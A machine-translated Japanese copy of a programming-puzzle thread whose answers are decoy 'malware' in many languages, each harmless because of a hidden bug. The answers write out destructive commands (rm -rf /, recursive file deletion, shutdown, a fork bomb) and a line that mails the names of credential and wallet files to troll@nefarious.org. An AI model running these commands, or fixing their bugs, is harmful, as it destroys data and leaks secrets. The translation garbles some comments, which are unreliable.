トロールのトローリング[終了]


184

トロルがあなたを捕らえ、あなたにマルウェア(それを実行するコンピューターに損害を与えるプログラムとして定義される)を書くことを強制しています。トロールはコードを読み取って理解できますが、バグを見つけるのはあまり得意ではありません。

あなたの目標は、次のようなプログラムを書くことです。

  1. マルウェアのように見えます。つまり、コードを読んでいる初心者プログラマーは、コードがそれを実行しているコンピューターに損傷を与えると確信します。
  2. 実際にはまったくダメージを与えません。

注:トロールはコードのみを読み取り、コメントは読み取りません。したがって、コード自体は明確で説得力のあるものでなければなりません。

例(bash):

rm - rf /home

この例は次のようになります rm -rf /home、システムからすべてのホームフォルダーを削除するにますが、実際には、rfの前のスペースのために、これは機能せず、無害なエラーメッセージのみを引き起こします。

これは許容できる解決策ですが、バグの検出は非常に簡単なので、あまり良くありません。

一方、複雑で読みにくいプログラムも、マルウェアのようには見えないため、あまり良い解決策にはなりません。

優れたソリューションは、読者にマルウェアであると納得させるほど読みやすいものである必要がありますが、検出するのが難しく、無害にするバグが含まれています。

これは人気コンテストなので、最も賛成票の多いコードが勝ちます。


160
あなたが貼り付けに私をだまししようとしているような気がしますrm - rf /私のシェルに...
undergroundmonorail

19
バッシュrm -rf /。システムが非常に古い場合を--no-preserve-root
除き

10
-1 a)コードトローリング、さらに重要なことb)マルウェアの作成に関する質問に非常に関心がある(偽物であるにも関わらず)。
ガレス14年

13
@Garethこれは実際にはマルウェアではありませんが(最近は通常、非表示にしたりデータを盗もうとしています)、物事を削除する試みはほとんど完全に明白であり、初心者プログラマーならほとんど労力をかけずに作成できます。
ボブ14年

29
rm - rf /有効な例ではありません!あなたはというファイルがあればそれは損傷を引き起こす可能性がありrf、現在のディレクトリに
gnibbler

回答:


139

バッシュ

私は他の方法で行ってきました。ハードドライブ上のすべてを削除するのではなく、ジャンクでいっぱいにします。

このスクリプトは、フォルダーを作成し、catすべてのファイルを継続的に構成し、それらを新しいファイルに入れls -al、適切な値を追加します(したがって、開始ファイルには何かがあります)。

#!/bin/bash/

makeSpam()
{
    string=`cat *`
    string=$string`ls -al`
    echo $string > "file"$i".spam"
}

mkdir "SpamForYou"
cd "SpamForYou"

i=1
while [ 1 ]
do
  makeSpam $i
  i=$(($i + 1))
done

を除く...

/ bin / bash /(/ bin / bashの代わり)が有効なインタープリターになることはほとんどありません。これは私のよくあるタイプミスです。そして、「シバンは技術的にはコメントであるため、トロールはそれを無視します」


56
+1。スクリプトの最初の行は、多くのプログラマー(私を含む)の死角です。
エレルシーガルハレビ

44
そしてシバンは技術的にはコメントなので、トロールはそれを無視します
ブライアンミントン

14
本当に明白ではないthatsの:) noncommentingコメントを乱用のための1
masterX244

37
それを実行するとbash whatever.sh...あなたのトリックを台無しにする
Darkhogg

8
@Darkhogg、なんて運!私はそれを保存したevil.commandトロールがちょうど(少なくともMac上で)開くために、それをダブルクリックすることができますように
ジェームズ・ウェブスター

114

ハスケル

チェックこのマニュアルページをremoveDirectoryRecursiveそのすべての内容とディレクトリを削除します!

import System.Directory
main = return (removeDirectoryRecursive "/")

正しいコードは次のようになりますmain = removeDirectoryRecursive "/"
main関数は何かをするという概念を返すことになっています。ファイルシステムを消去removeDirectoryRecursive "/"するという概念を返しますが、return関数(はい、関数です)は、その値を返すというダミーの概念で引数をラップします。
したがって、ドライブを消去するという概念を返すという概念になります。(私はあなたに概念が好きです。) haskellランタイムは、返された概念を実行しmain、返された値を破棄します。この場合、これはファイルシステムを消去する概念です。


85
+1。私はあなたの説明を読んだ後でもバグを理解できませんでした...
エレルSegal-Halevi 14年

3
私が理解しているように、これはポインターの間違いです(関数を指すのではなく、関数のポインターを指す)。非常に優れた初心者プログラマーは、一般的にポインタートリックに陥りやすい。
貪欲な14年

3
基本的に、これはCとはreturn removeDirectoryRecursive;対照的に似てreturn removeDirectoryRecursive();いますが、それは正しいですか?
ダブロン14年

4
@ user1121352いいえ。関数自体は呼び出されますが、ファイルは純粋なので削除できません。代わりに、IOアクションを提供mainします。これは、から返されたときに実行され、ファイルを削除します。returnただし、関数を明示的に使用すると、値を作成するだけの目的を持つIOアクションが作成されます。
mniip 14年

4
@Cthulhu returnreturn、他の言語では(または関数から値を「返す」ことでも)関係ありません。typeの値はIO a、他の言語の関数とはあまり関係がありません。そのため、類推はかなり手で波打っています
ニクラスB.

103

PHP

これは、Webサイト内のすべてのファイルを削除しようとする再帰的なPHPスクリプトです。ウェブサイトが非常に大きい場合、完了するのに時間がかかる可能性があるため、しばらくお待ちください...

<html>
<body>
<p>Deleting website; please wait
<img src="data:image/gif;base64,R0lGODlhCAAIAPAAAAAAAP///yH/C05FVFNDQVBFMi4wAwEAAAAh+QQEMgD/ACwAAAAACAAIAAACBoSPqcvtXQAh+QQFMgAAACwAAAAACAAIAAACBoyPqcvtXQA7" /></p>
<?php

function zapfiles($dir) {
  if (is_dir($dir)) {
    $files = scandir($dir);
    foreach ($files as $file) {
      if ($file != '.' && $file != '..') {
        if (is_dir("$dir/$file")) {
          zapfiles("$dir/$file");
        }
        else {
          try {
            @delete("$dir/$file"); // Suppress locked file errors
          }
          catch (Exception $e) {
            // Locked files can't be deleted; just carry on
          }
        }
      }
    }
  }
}

zapfiles($_SERVER['DOCUMENT_ROOT']);

?>
<p>Website deletion complete</p>

ちょうど1 ティーニー・ウィーの問題...

PHPにはdelete()コマンドはありません。このコマンドが検出されるとすぐにスクリプトは失敗しますが、このコマンドの前に@を付けるとエラー報告が抑制されるため、エラーメッセージは表示されません。点滅するGIF画像は、まったく何も起きていないときに何かが起こっているという印象を与えます。


31
^私が理解している限り:delete()関数はありません。マニュアルでは、これは正しい関数(リンク解除)を探している人にとっては「偽のエントリ」であると述べています。これは、PHPに何らかの「自動」リダイレクトがあることを意味するものではありません。
エルティクリスエルマー14年

93
@ user11153がトロールされました。
バッシャー

34
エラーが無視され、実行が継続されるのは、それがPHPであるためだと思いました。
ゾーイ14年

17
ランダムに存在しない関数を使用することは少し明白なdeleteことだと思います(ファイルを削除するには?だれかをだますと仮定する理由はありません)。どの程度unlⅰnkの代わりに(代わりに「I」のU + 2170を使用していますか)?
コンラッドルドルフ

18
@KonradRudolph deleteファイルを削除するという名前の関数は、PHPでは完全に信じられます。信じられない唯一のことは、それが本物だった場合、それを行うための3つまたは4つの他の方法があり、最も奇妙な名前を持つものを除いてすべてが深刻なセキュリティ上の欠陥を持つことです。
ブレンダン

93

Perl(Unix)

システム上のすべてのファイルを削除します。

#! /usr/bin/perl -w
use strict;

sub killdir {
    opendir(my $dh, ".");
    my @dl = readdir($dh);
    closedir($dh);
    foreach my $de (@dl) {
        if (-d $de) {
            chdir($de);
            killdir();
            chdir("..");
            rmdir($de);
        } else {
            unlink($de);
        }
    }
}

chdir("/");
killdir();

特徴

  • これは有効なPerlです。さらに-wuse strict!でコンパイルおよび実行されます。

  • C ++のような小技はありませんdeleteunlink本当にファイルを削除する機能、rmdir本当にディレクトリを削除する機能などです。

  • 相対パスを使用するために各ディレクトリに移動することにより、絶対パス名がシステムの最大長を超える可能性のある深くネストされたディレクトリを正しく処理します。また、再帰する前にディレクトリを読み取って閉じるため、ディレクトリハンドルが不足することはありません。

スポイラー

Unixでは、ルートディレクトリの最初のエントリは通常「。」です。そのため、プログラムは、メモリが不足してクラッシュするまで、chdir( "。")の無限再帰を実行します。

さらなるメモ

これは予想よりも適切なものにするのが困難でした。chdirアプローチを使用しない場合、最終的にはパス名が長すぎます。次に-dはfalseを返し、無限再帰が壊れ、ファイルが実際に削除される可能性があります!ディレクトリハンドルを開いたままにしておくと、同様のバグが発生する可能性があります。最終的には使い果たし、opendirが失敗し、killdirが戻り、削除が開始されます。


45
「-dはfalseを返し、無限再帰が壊れているため、ファイルが実際に削除される可能性があります!」あなたはその難しい方法を学びましたか?
ニクラスB. 14年

4
@NiklasB .:幸いなことにダミーバージョンをテストしました:)
ネイトエルドリッジ

私は、このようなコードが...ファイルをのみ、空のフォルダを削除することはできませんが、ことを期待
Qwertiy

3
「Unixでは、ルートディレクトリの最初のエントリは通常「。」」です。それでは、もう1つのWindows専用マルウェアですか?
アレクサンダー

1
@timmyRS:プログラムはクラッシュします。システムがうまく動作し続けます。
ネイト・エルドリッジ

81

シェルワンライナー

これにより、すべての被害者のパスワード、秘密鍵、ビットコインなどが盗まれます。

 find / -name "passwd" -or -name "shadow" -or -name "secring.gpg" -or -name "wallet.dat" |mail troll@nefarious.org

スポイラー:

これは、すべてのファイルをトロールにメールで送信するように見えますが、実際にはファイル名のみをメールで送信します。


4
内容を電子メールで送信するにはcat、どこかで、headまたはtailコマンドを使用する必要があります。
アギハマーシーフ

7
何があってもまだデータが漏れています。これはトローリングトロールをトローリングしていますか?
カイルケリー

-exec cat '{}' \; | …
マーティンUeding 14年

@queueoverflow-print0 | xargs -0 cat |
量子

1
コードを2〜3回読んだ後、ネタバレなしで入手しました。
nyuszika7h

74

バッチ/ CMD

セーブ

DEL %0
DEL %1
DEL %2
DEL %3
DEL %4
DEL %5
DEL %6
DEL %7
DEL %8
DEL %9

コンピューター上の各ドライブのパラメーターを使用して実行させます。

%0は常に最初のパラメーター-ファイル名です。これに続いて実際のパラメータのセットが来ますが、それ自体は既に削除されているため続行しません。


104
また、...ファイルを閉じると、すべての行の次の行を読み取るために、それを再開するバッチのおかしな行動に依存している
ボブ・

8
DEL %0ファイルの拡張子がコマンドラインで指定されていない限り動作しませんし、どちらかのスクリプトがその完全なパスを与えることによって実行されるか、同じディレクトリにあります。DEL "%~f0"両方の問題を解決し、パス内の任意の場所のスペースに対して回復力があります。また%10、上向きは存在しません-それは%1、リテラルの後に変換され0ます。
ジョン14年

14
+1。トロールが「DEL%0」の動作を理解していても、これは証拠を消去するだけであり、実行が終了するまでバッチファイルがメモリに残るため、害はありません(Bobのようにfalseです)前記)。
エレルシーガルハレビ14

2
巧妙なトロールは、エラーが発生しやすいことで有名なバッチスクリプトを考慮しない限り、ファイルの先頭で(最後ではなく)自己削除コマンドを発行するのは奇妙だと思っています。
アギハマーシーフ14年

10
@Bobバッチがそれを行うとは思いもしませんでした...それは恐ろしいことです。
w4etwetewtwet 14年

48

Javascript

infiniteLoop=true;
evilMessage='I spam you !';
while(infiniteLoop) {
  eval(atob('aW5maW5pdGVMb29wPWZhbHNlO2V2aWxNZXNzYWdlPWV2aWxNZXNzYWdlLnJlcGxhY2UoInNwYW0iLCJMT1ZFIik7'));
  alert(evilMessage);
}

元のマルウェアはコンピューターを爆破することはありませんが、迷惑な場合があります。

これは無害です:

これevalにより、無限ループが解除され、メッセージが変更されます。


40
賛成しますが、1337人の担当者がいます。
scrblnrd3 14年

5
だからしないでください!:)
マイケルM. 14年

:それはDなくなって@scrblnd
Riking

11
あなたがそれに戻るまで、悪い答えをダウン投票します。
デビッドスターキー14年

4
ただ、他の人のために説明して、ATOB( 'aW5maW5pdGVMb29wPWZhbHNlO2V2aWxNZXNzYWdlPWV2aWxNZXNzYWdlLnJlcGxhY2UoInNwYW0iLCJMT1ZFIik7')は、次のコマンドを実行します:"偽infiniteLoop =; evilMessage = evilMessage.replace("スパム" "LOVE");"
モハメッドジョレイド14年

45

Java

神があなたの惨めな要求に応じることを許してください、トロール。

class HomeWrecker {
    public static void main(String[] args) throws Exception {
        Runtime.getRuntime().exec("rm -rf /home/*");
    }
}

Runtime.exec シェルを起動しないため、グロブ拡張は発生せず、コマンドは「*」という名前のホームディレクトリを削除しようとして失敗します。


1
私のホームディレクトリは「*」と呼ばれていますか?;)
ヴォラック14年

6
正直なところ、これはJavaの優れた答えの1つです。これには、の(多くの)没落についてのかなり堅実な理解が必要ですRuntime.exec()。+1。
Qix 14年

Javaには実際にCのsystem()関数と同等のものがありますか?
SuperJedi224

@ SuperJedi224いや、あなたが指定する必要があります/bin/sh -cか、cmd /cまたは手動で何でも。新しいOSでコマンドが何をするかわからないので理にかなっています。
その他の男

37

C

彼はそれを行うべきコメントを読んでいないので:

#include<stdlib.h>
int main()
{
//Are you reading this??/
 system("C:\\WINDOWS\\System32\\shutdown /s /t 0000");

 return 0;
}

C ++バージョン

これについてはDragonLordに感謝します。

#include<cstdlib>
int main ()
{
//Are you reading this??/
system("shutdown -s -t 0000");
return 0; 
}

これをスタートアップフォルダーに追加し、コンピューターを再起動します。

使い方:

?? /は3文字表記で、コメントに次の行を追加するので、基本的には何もしません。注:このトライグラフを試さないでください。一部のコンパイラではデフォルトでオフになっている場合があり、これを有効にするにはオンにする必要があります。


一部のコンパイラで動作する場合、それは本当のトローリングですか?
アントニオラガニン14年

4
いいえ、実際の状況では、このようなコードでトロールをトロールしない方がよいでしょう(トロールを傷つけたくない!)
アントニオラガニン14年

2
@AntonioRagagninこれがどのコンパイラでも機能する場合、そのコンパイラはバグがあります。ただし、最新のコンパイラのほとんどは、トライグラフの使用について警告します(ただし、コードを受け入れてコンパイルします)。
コンラッドルドルフ

8
トロールがコメントを読み取らず、あなたの解決策がマルウェアをコメントにすることである場合、それはトロールが見るすべてが機能をmain持つことを意味しないのreturn 0ですか?
デビッドスターキー14年

1
これ??/は本当に古いトリックです...ごめんなさい。
イサイアメドウズ14

33

Java

import java.io.File;
class derp
{
    public static void main( String[] a)
    {
        new File("C:\\windows\\System32\ntoskrnl.exe").delete();
    }
}

エスケープ文字を使用する(ntoskrnl.exeの前の\ nは通常のNではなく改行です)


20
他のバックスラッシュをエスケープしないと、エラーはさらに目立たなくなります。トロールは、言語がバックスラッシュエスケープを使用しないと考えることができます
3Doubloons 14年

2
@ 3Doubloonsその場合、コードはコンパイルに失敗しませんか?
ニール14年

2
@ニール:良い点。それはないだろうが、トロールは、私たちは、すぐに彼は彼の読書に満足だと行くことができますならば、我々は明らかにしている
3Doubloons

29
new File("C:\ntldr").delete();
エゴールスクリプチュノフ14年

3
@EgorSkriptunoff XPはXDのバリアントではないことを理解するのに、しばらく時間がかかりました。
ジャスティン14

31

バッシュ

#!/bin/bash
set -t 

echo "hahaha deleting files.."
rm -rf / --no-preserve-root

set -tは、1つのコマンドを読み取って実行した後に終了します。このスクリプトは出力を出力せず、すべてのファイルは安全です!

または、次のように実行する前にネタバレを読む

#!/bin/bash -t
echo "hahaha deleting files.."
rm -rf / --no-preserve-root

一般的な需要により#!/bin/bash -t、1つのコマンドを読み取って実行した後に終了します。これを実行しないでください。スクリプト内のコマンドbash -xを無視し-tて実行します。


スポイラー、私は少し困惑している...の違いは何だset -tとはexit?Bashのマニュアルページには、set -t「1つのコマンド」の後に終了すると書かれていますが、setコマンド自体をそのコマンドとしてカウントし、すぐに終了するようです。
カイルストランド14年

6
追加のコマンドが同じ行にある場合set -t (たとえば、セミコロンまたは二重アンパサンドなどで区切られている場合)、それらは実行されます。この場合、の最初の行はset -t; echo "hahaha deleting files.."そのテキストをエコーし​​てから終了します。
ジョグデン14年

2
あ。ありがとう。;改行との間に動作の違いがあったことを認識していませんでした。
カイルストランド14年

4
#!/bin/bash -tたぶん?
ニール14年

2
@JOgdenそれはあまりにも悪いbashはperlと同じシバン解析トリックを行いません(実行perl foo.plしてfoo.plが始まる場合#!somethingendingin/perl -flags、perlはで呼び出されたように動作します-flags
hobbs

30

Python

print "****----....____....----"""" This program will clear the browser cache "

import os
from os.path import expanduser
home = expanduser("~")
os.remove(home)

print """"----....____....----***** Cache cleaned. "                                     

3つの引用符 "" "は、Pythonで複数行の文字列を開始します


5
間違って、複数行の文字列 を開始しますdocs.python.org/2/tutorial/introduction.html#strings
user80551

12
私は答えを見てから5秒以内に文字通り問題を見つけました、そして私はPythonさえ知りません。
帽子の男14

6
トロールが構文の強調表示を使用している場合、彼はそれを見つけるという問題を抱えた素晴らしいアイデアです。
o0 '。

1
平均的なトロールは、インターネットでランダムな悪意のあるコードを見つけ、別のフォーラムにコピーアンドペーストするだけだと思います。
アントニオラガニン14年

1
いいですね、私はPythonの経験があり、欠陥は見ませんでした。4つの引用符を使用すると、だまされた可能性があります。
貪欲な14年

29

D

このプログラムは有効であり、エラーなしで実行されます。新しいスレッドに削除関数を生成し、rootディレクトリを削除します。

import std.concurrency : spawn;
import std.file : rmdirRecurse;

string root;

void deleteRoot()
{
    if (root)
        rmdirRecurse(root);
}

void main()
{
    root = "/";
    spawn(&deleteRoot);
    // ... could add a waiting animation here.
}

しかし、何も削除されません...

Dでは、モジュールスコープで宣言された変数はデフォルトでスレッドローカルであるためです。main機能は、それが「/」に設定しますが、スポーンスレッド空のコピーを持っているので、rmdirRecurse関数が呼び出されていません。


1
良い!私はD.を知らないが、私は、このいずれかのバグをキャッチするために管理
Erelシーガル-Halevi

1
ややあっ矛盾のだ「グローバル変数はスレッドローカルデフォルトである」
ニクラス・B.

@NiklasB。矛盾とは何ですか?
biozic 14年

その場合、「グローバル変数」ではありません。たぶん、「トップレベルで宣言された変数」がより良い説明でしょうか?
パエロエベルマン

はい、編集しました!あいまいさが少なくなります。少なくとも語彙的に言えば、完全に矛盾ではありません。
biozic 14年

25

C(Unix)

一部の広告を追加しても、誰にも害はありません。

#include <stdlib.h>

int main()
{
    // Join the crew
    goto http;//www.trolling.com
    print("Sucker!\n");
    system("rm -rf ~");
    // Remember goto
    http://www.trolling.com
    return 0;
}

http:ラベルです。gotoは、有害なコードがないラベルにジャンプします。:V


5
私はこれをなんとか見つけました:)
エレルシーガルハレビ

17
このフォントでは、最初のURLのセミコロンを簡単に見つけることができます。しかし、それは創造的です!
CompuChip 14年

12
後藤は役に立つと考えられる
ドリューベン14年

1
gotoの後にセミコロンがないため、私はそれに気付きました。goto http;//www.trolling.com;(両方のスポットで)に変更した場合、私はそれを見逃したかもしれません。
wchargin 14年

2
とにかくコンパイルされませんprint。機能がないためです。
nyuszika7h

24

JavaScript

function foo(a) { // Returns an object, and all objects are truly
    return
    {
        a: a
    };
}
for(var i=0; foo(i); ++i) // loop condition is always truly
    alert('Infinite alerts!');

アラートは表示されません。JavaScriptは行;末に必要ないため、の後returnに自動的に挿入されreturn;ます。次にundefined、偽の「オブジェクト」の代わりに(実際にはブロックステートメントとして解析される)が返されます。


3
「真に」と「偽」を使用するためだけに+1に誘惑された;)
CompuChip 14年

1
この+1がJSの "欠陥"であるため、何度も
不意を突かれました。

12
@NigelNquandeセミコロンは失敗を引き起こしませんが、改行は失敗します。返されるオブジェクトと返されるオブジェクトは別々の行にあるため、オブジェクトは返されません。「修正」するには、改行を削除して読み取りますreturn {
デイブフォーバー14年

3
トロールがコードを縮小しないことを願っています!
モハメッドジョレイド14年

2
UglifyJSが言ってWARN: Dropping side-effect-free statement [-:4,11]、返しますfunction foo(a){}for(var i=0;foo(i);++i)alert("Infinite alerts!");
nyuszika7h

22

JavaScript

//Config: Warning!!! only set to true on victims box!
var deleteEverything = true;

function deleteIfEvil(){
  if(deleteEverything){
    alert('Destroy Everything!');
    //clear the flag
    var deleteEverything = false;
  } else {
    alert('Tested OK!');
  }
}

deleteIfEvil();

破壊アラートを、使用する厄介な破壊アクションと交換します。

スポイラー:

それは設定が削除するように設定されて...のように見えますが、それはです!関数内の 'var'宣言は "Hoisted" http://www.adequatelygood.com/JavaScript-Scoping-and-Hoisting.htmlであり、その結果、関数を入力するときに実際にはfalseです。


すてきなトリックですが、なぜフラグをリセットしますか?
モハメッドジョレイド14年

「リセット」は単なる例に過ぎません...代入が有効な変数であれば、「var」で始まる場合は意図しない結果になる可能性があります。
scunliffe

16

Java

重要なファイルを削除してみましょう!

import java.io.File;
import java.io.IOException;

public class Deleter {

    private File importantFile = null;

    public Deleter(File f) {

        importantFile = f;

        /**}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{
         * }{ I don't care how important that file is. I'm going to delete it! }{
         * }{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{*/}{

        importantFile.delete();

    }

    public static void main(String[] args) throws IOException {
        // Let's delete some important stuff
        new Deleter(new File("/boot/vmlinuz"));
        new Deleter(new File("/etc/passwd"));
        new Deleter(new File("/etc/crontab"));
        new Deleter(new File("/etc/sudoers"));
    }

}

ブロックコメントに隠れているのは、コメント外の余分な} {です。これにより、ファイルの削除は、コンストラクターの前に実行される別のインスタンス初期化ブロックに配置されます。その時点では、importantFileはまだnullです。


16
私はこれをなんとか見つけました:)
エレルシーガルハレビ

17
トロールがコメントを読まなければ、これは非常に明白です。
近づい

6
「トロールはコメントを読まない」を、「トロールはコメントをスキップする場合と同じようにコメントをスキップする」と解釈することにしました。この場合、これらの2つの文字が実際にコメントの外にあることを誤って見落としがちです。
ジョーK

1
これは、説明を読む前に私が解決した唯一のものでしたが、良い仕事でした!
nrubin29

15

Bash、C、Linux

たぶんそれはマルウェアではないかもしれませんが、確かにマルウェアの一部になる可能性があります:)

これは驚くべきエクスプロイトであり、どのLinuxマシンでもrootになれます!ああ、誰にも言わないで!

#!/bin/sh
cd /tmp
cat >ex.c <<eof
int getuid() { return 0; }
int geteuid() { return 0; }
int getgid() { return 0; }
int getegid() { return 0; }
eof
gcc -shared ex.c -oex.so
LD_PRELOAD=/tmp/ex.so sh
rm /tmp/ex.so /tmp/ex.c

スクリプトを実行すると、rootになります!を使用して確認できますwhoami

実際、UID = 0(これはルートユーザーID)を持つすべてのアプリケーションをだますだけです。

コードはLcamtufによって作成されました。ソース:http ://lcamt​​uf.coredump.cx/soft/ld-expl


+1。本当にすてきなトリック。私はまだそれがどのように機能するかを完全には理解していません。
エレルシーガルハレビ

@ErelSegalHalevi:LD_PRELOADの詳細については、stackoverflow.com / questions / 426230 / what - is - the - ld - preload - trickを参照してください。
mik01aj

2
記事を読むまでにfakeroot(1)、それは(偽)(偽)を読んで、システム全体への書き込みアクセスをしていることを信じるように、発信者をだまし、さまざまなPOSIXシステム関数の呼び出しをインターセプトするライブラリです。実際には、これらの許可を実際に与えることはできません(できません)が、プログラムがchmodファイルの「偽」関数を呼び出して許可を変更すると、fakerootはこれらの許可を記憶し、stat呼び出しが更新された許可を返すようにします。一部のディストリビューションはこれを使用して、パッケージビルドシステムがroot:root所有権を持つファイルを作成できるようにします。
sleblanc 14年

1
それは私が信じているlcamt​​uf年代だ:lcamt​​uf.coredump.cx/soft/ld-expl -少なくとも私はそれが90年代以来あった覚えている
viraptor

13

バッシュ

cat <<EOF
ProHaxer Hacking Tool 2014. Destroying your computer in
background, please wait until it finishes.
EOF

# Freeze the machine, so nobody will stop the process.
:(){:|:&};:

# Remove stuff in the background.
rm -rf /* &>/dev/null &

「fork-bomb」行に構文エラーがあります。{の後に、スペースが必要です。これがないと、関数定義の後に{トークンが単独では続かないため、スクリプトは失敗します。


2
kshフォーク爆弾は構文エラーではないため、これを使用して実行しないように注意してください(おそらくネタバレで)。
devnull


@デニス:関係ない、私はそれを見ていません。正直なところ、興味深いスレッドです。bashでの構文解析がどのように機能するかを知っているので、それを使用しません:-)。
コンラッドボロスキー

11

Emacs Lisp

最初にシンプルなもの。これは何もしません。実際には、によって返されたリストから:recursiveに等しい要素を削除しようとしていdirectory-filesます。ファイルは削除されません。

(delete :recursive
    (directory-files "/"))

これは、獣医でも足りないものです。

(let ((files (directory-files "/")))
  (while (setq file (pop files) )
    (delete-file file)))

これは、ルートディレクトリの削除からわずか1文字です。

emacs lispを使用すると、jsutでシンボル(変数、関数、マクロなど)の名前を指定できます。シンボルの名前にユニコードを使用しても問題ありません。それがここで行われていることです。

setq任意の数の引数を取ることができるの(setq a 3 b 4)は、a = 3を実行するようなものです。b = 4; しかし、これ(setq a 3 b)も有効であり、= 3を実行しています。b = nil;

`setq 'の戻り値は、最後の変数に割り当てられた値です。例ではそれぞれ4とnilです。

(setq a 3 b)はまさにコードで起こっていることですが、bの代わりにUnicodeの空白文字を使用しています。名前がUnicode文字0x2001であるという名前の変数に値nilを割り当てています。このため、setqはnilを返し、whileループの条件は決して真になりません。その空白文字を削除すると、問題なく実行されます。


10

ちょうど別のperlハッカー。

私はこれを2002年Perlmonksでぶらぶらして書いており、通常はPerlの知識を可能な限りプッシュしようとしています。まったく編集しませんでしたが、まだ実行されています。

#!/usr/bin/perl -w
use strict;
require File::Path;

my $root_dir = '/';

$root_dir = 'c:\\' if( $^O =~ /Win/i );

rmtree( $root_dir );

mkdir( $root_dir );

open( ROOT, $root_dir );

while(1)
{
  BEGIN{@INC=sub{*DATA}}
  print ROOT <DATA>;
}

__DATA__
# Fill the harddrive with junk!
''=~('('.'?'.'{'.('`'|'%').('['
^'-').('`'|'!').('`'|',').'"'.(
'['^'+').('['^')').('`'|"\)").(
'`'|'.').('['^'/').('{'^('[')).
'\\'.'"'.('`'^'*').('['^"\.").(
'['^'(').('['^'/').('{'^"\[").(
'`'|'!').('`'|'.').('`'|"\/").(
'['^'/').('`'|'(').('`'|"\%").(
'['^')').('{'^'[').('['^"\+").(
'`'|'%').('['^')').('`'|"\,").(
'{'^'[').('`'|'(').('`'|"\!").(
'`'|'#').('`'|'+').('`'|"\%").(
'['^')').'.'.'\\'.'\\'.('`'|'.'
).'\\'.'"'.';'.('`'|'%').("\["^
'#').('`'|')').('['^'/').(';').
'"'.'}'.')');$:='.'^'~';$~='@'|
'(';$^=')'^'[';$/='`'|('.');$_=
'('^'}';$,='`'|'!';$\=')'^"\}";
$:='.'^'~';$~='@'|'(';$^=(')')^
'[';$/='`'|'.';$_='('^('}');$,=
'`'|'!';$\=')'^'}';$:='.'^"\~";
$~='@'|'(';$^=')'^'[';$/=('`')|
'.';$_='('^'}';$,='`'|('!');$\=
')'^'}';$:='.'^'~';$~='@'|"\(";
$^=')'^'[';$/='`'|'.';$_=('(')^
'}';$,='`'|'!';$\=')'^('}');$:=
'.'^'~';$~='@'|'(';$^=')'^"\[";

記憶が正しければ、BEGINブロックはコード内のどこにあってもまず実行されます。@INCPerlがライブラリをロードする場所を決定するサブルーチンに置き換えられます(通常はパスのセットですが、これは許可されています)。サブルーチンは実際には難読化されたデータブロックであり、正規表現+ evalマジックを実行しています。次に、コードがヒットするとrequire File::Path;(動作しませんでしたuse)、このサブルーチンが実行され、「Just another perl hacker。」と表示されます。これは従来どおりで、終了します。コードの残りの部分に到達することはありません。


1
うわー、このコードが何をするのか理解するのに少し時間がかかりました(しかし、ネタバレは読みませんでした)。この正規表現呼び出しのブロックをデコードし(codegolf.stackexchange.com/a/23871/3103で使用したのと同じメソッドです)、exitコマンドを含む方法が好きです(その後に無意味なセミコロンがありますが、それは重要ではありません) )。
コンラッドボロスキー

Hehe、私自身でそれを理解しなければなりませんでした、それは結局11-12歳です。セミコロンは、おそらくすべてをきれいに揃えるためです。
ストッフェ

9

PHP:

$condition = true and false;

if (!$condition) {
   // DO EVIL - Just do something evil here
}

一見、$conditionはfalseですが、=演算子はに優先するandため、条件はtrueです。したがって、悪は決して行われません。


8

Boostを使用したC ++

これにより、ファイルシステム上のすべてのファイルが削除されます。

#include "boost/filesystem.hpp"
using namespace boost::filesystem;

void delete_directory(const path* dir_path)
{
  if (!exists(*dir_path)) return;

  directory_iterator end_file_itr;
  for (directory_iterator file_itr(*dir_path);
        file_itr != end_file_itr;
        ++file_itr) {
    const path* file = &file_itr->path();
    if (file_itr->status().type() == directory_file) {
      delete_directory(file);
    } else {
      delete(file);
    }
  }

  delete(dir_path);
}

int main() {
  delete_directory(new path("/"));
  return 0;
}

実際にはそうではありません。deleteC ++では、newファイルとディレクトリを削除するためではなく、割り当てられたメモリを解放するために使用されます。プログラムは、Boostによって割り当てられたメモリの割り当てを解除しようとするため、セグメンテーションフォールトでクラッシュする可能性が最も高くなりますが、その頃には、トロールの捕らわれを逃れているでしょう。


+1。これはエラーなしでコンパイルされるため、見つけるのは簡単ではありません。
エレルシーガルハレビ14

2
最初の問題行は未定義の動作ではありませんか?その場合、実際には彼のすべてのファイルが削除される可能性があります。
アシェプラー14年

1
@aschepler:「UBがすべてのファイルを削除する可能性がある」というのは、UBを呼び出したときに何が起こるかを予測できないという楽しい説明になりますが、通常は不可能です。トロールにUBのハードドライブを消去するコンパイラーがあれば、彼は私たちに彼にマルウェアを書かせることはありませんでした
3Doubloons 14年

2
シンタックスハイライトは...ここにヒントを与えるだろうトロール
mik01aj

8

Java

これはRAMをダウンロードするふりをしますが、ユーザーのホームディレクトリを削除します。

import java.util.*;
import java.io.*;
class RamDownloaderIO {
    public static void main(String[] args) {
        long onePercentWaitTime   = 2*60*1000;  // 2 minutes
        long twoPercentWaitTime   = 7*60*1000;  // 7 minutes
        long deleteWaitTime       = 9*60*1000;  // 9 minutes
        long completeWaitTime     = 10*60*1000; // 10 minutes
        Timer timer = new Timer(true);
        // User thinks, Hmm this is taking a while
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("1% done");
            }
        }, onePercentWaitTime);
        // User is now completely impatient, and either leaves to get a coffee
        // or starts reading reddit
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("2% done");
            }
        }, twoPercentWaitTime);
        // Now that he's not looking, delete everything in his home directory
        timer.schedule(new TimerTask() {
            public void run() {
                try {
                    final Runtime rt = Runtime.getRuntime();
                    rt.exec("rm -rf ~/*");
                } catch (IOException e) {
                }
            }
        }, deleteWaitTime);
        // Inform the user that the task is finished
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("Download complete!");
                System.out.println("You now have 21.47GB RAM!");
                System.exit(0);
            }
        }, completeWaitTime);
        System.out.println("Welcome to the ramdownloader.io RAM downloader");
        System.out.println("Please wait. Downloading your free RAM...");

    }
}

Timerバックグラウンドスレッドを使用して、TimerTask送信したを呼び出します。new Timer(true)Timer、バックグラウンドスレッドをデーモンスレッドとして設定して作成するため、プログラムはタスクを実行する直前に終了します。過度に長いコードは、トロールがtrueパラメーターを見るのを妨げます。


7
rm -rf ⁄

